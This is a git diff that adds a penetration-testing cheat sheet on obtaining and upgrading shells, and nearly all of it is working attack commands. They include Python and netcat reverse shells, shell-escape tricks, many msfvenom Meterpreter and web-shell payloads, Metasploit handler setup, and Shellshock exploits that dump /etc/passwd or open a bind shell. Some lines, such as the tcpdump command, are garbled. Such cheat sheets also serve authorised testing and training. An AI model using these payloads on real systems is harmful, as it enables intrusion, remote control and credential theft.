diff --git a/Cheatsheet_Shells.txt b/Cheatsheet_Shells.txt
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+Netcat Shell Listener
+`nc -nlvp 4444`
+
+Spawning a TTY Shell - Break out of Jail or limited shell
+You should almost always upgrade your shell after taking control of an apache or www user.
+(For example when you encounter an error message when trying to run an exploit sh: no job control in this shell )
+(hint: sudo -l to see what you can run)
+
+You may encounter limited shells that use rbash and only allow you to execute a single command per session.
+You can overcome this by executing an SSH shell to your localhost:
+ssh user@$ip nc $localip 4444 -e /bin/sh
+enter user's password
+python -c 'import pty; pty.spawn("/bin/sh")'
+export TERM=linux
+`python -c 'import pty; pty.spawn("/bin/sh")'`
+python -c 'import socket,subprocess,os;s=socket.socket(socket.AF\_INET,socket.SOCK\_STREAM);          s.connect(("$ip",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(\["/bin/sh","-i"\]);'
+`echo os.system('/bin/bash')`
+`/bin/sh -i`
+`perl 'exec "/bin/sh";'`
+perl: `exec "/bin/sh";`
+ruby: `exec "/bin/sh"`
+lua: `os.execute('/bin/sh')`
+From within IRB: `exec "/bin/sh"`
+
+From within vi: `:!bash`
+or
+`:set shell=/bin/bash:shell`
+
+From within vim `':!bash':`
+
+From within nmap: `!sh`
+
+From within tcpdump
+echo id\\n/bin/netcat $ip 443 “e /bin/bash’ > /tmp/.test chmod +x /tmp/.test sudo tcpdump ln I eth- -w /dev/null W 1 G 1 z /tmp/.tst Z root
+
+From busybox  `/bin/busybox telnetd -|/bin/sh -p9999`
+
+Pen test monkey PHP reverse shell
+http://pentestmonkey.net/tools/web-shells/php-reverse-shel
+
+php-findsock-shell - turns PHP port 80 into an interactive shell
+http://pentestmonkey.net/tools/web-shells/php-findsock-shell
+
+Perl Reverse Shell
+http://pentestmonkey.net/tools/web-shells/perl-reverse-shell
+
+PHP powered web browser Shell b374k with file upload etc.
+https://github.com/b374k/b374k
+
+Windows reverse shell - PowerSploit’s Invoke-Shellcode script and inject a Meterpreter shell
+https://github.com/PowerShellMafia/PowerSploit/blob/master/CodeExecution/Invoke-Shellcode.ps1
+
+Web Backdoors from Fuzzdb
+https://github.com/fuzzdb-project/fuzzdb/tree/master/web-backdoors
+
+Creating Meterpreter Shells with MSFVenom - http://www.securityunlocked.com/2016/01/02/network-security-pentesting/most-useful-msfvenom-payloads/
+
+*Linux*
+`msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f elf > shell.elf`
+
+*Windows*
+`msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f exe > shell.exe`
+
+*Mac*
+`msfvenom -p osx/x86/shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f macho > shell.macho`
+
+
+**Web Payloads**
+
+*PHP*
+`msfvenom -p php/reverse_php LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.php`
+OR
+`msfvenom -p php/meterpreter_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.php`
+
+Then we need to add the <?php at the first line of the file so that it will execute as a PHP webpage:
+`cat shell.php | pbcopy && echo '<?php ' | tr -d '\n' > shell.php && pbpaste >> shell.php`
+
+*ASP*
+`msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f asp > shell.asp`
+
+*JSP*
+`msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.jsp`
+
+*WAR*
+`msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f war > shell.war`
+
+
+**Scripting Payloads**
+*Python*
+`msfvenom -p cmd/unix/reverse_python LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.py`
+
+*Bash*
+`msfvenom -p cmd/unix/reverse_bash LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.sh`
+
+*Perl*
+`msfvenom -p cmd/unix/reverse_perl LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.pl`
+
+
+**Shellcode**
+For all shellcode see ‘msfvenom –help-formats’ for information as to valid parameters. Msfvenom will output code that is able to be cut and pasted in this language for your exploits.
+
+*Linux Based Shellcode*
+`msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f <language>`
+
+*Windows Based Shellcode*
+`msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f <language>`
+
+*Mac Based Shellcode*
+`msfvenom -p osx/x86/shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f <language>`
+
+
+**Handlers**
+Metasploit handlers can be great at quickly setting up Metasploit to be in a position to receive your incoming shells. Handlers should be in the following format.
+use exploit/multi/handler
+set PAYLOAD <Payload name>
+set LHOST <LHOST value>
+set LPORT <LPORT value>
+set ExitOnSession false
+exploit -j -z
+
+Once the required values are completed the following command will execute your handler – ‘msfconsole -L -r ‘
+
+-   SSH to Meterpreter: https://daemonchild.com/2015/08/10/got-ssh-creds-want-meterpreter-try-this/
+
+use auxiliary/scanner/ssh/ssh_login
+use post/multi/manage/shell_to_meterpreter
+
+
+Shellshock
+
+Testing for shell shock with NMap
+`root@kali:~/Documents# nmap -sV -p 80 --script http-shellshock --script-args uri=/cgi-bin/admin.cgi $ip`
+
+git clone https://github.com/nccgroup/shocker
+`./shocker.py -H TARGET --command "/bin/cat /etc/passwd" -c /cgi-bin/status --verbose`
+
+Shell Shock SSH Forced Command
+
+Check for forced command by enabling all debug output with ssh
+ssh -vvv
+ssh -i noob noob@$ip '() { :;}; /bin/bash'
+
+cat file (view file contents)
+echo -e "HEAD /cgi-bin/status HTTP/1.1\\r\\nUser-Agent: () {:;}; echo \\$(</etc/passwd)\\r\\nHost:vulnerable\\r\\nConnection: close\\r\\n\\r\\n" | nc TARGET 80
+
+Shell Shock run bind shell
+echo -e "HEAD /cgi-bin/status HTTP/1.1\\r\\nUser-Agent: () {:;}; /usr/bin/nc -l -p 9999 -e /bin/sh\\r\\nHost:vulnerable\\r\\nConnection: close\\r\\n\\r\\n" | nc TARGET 80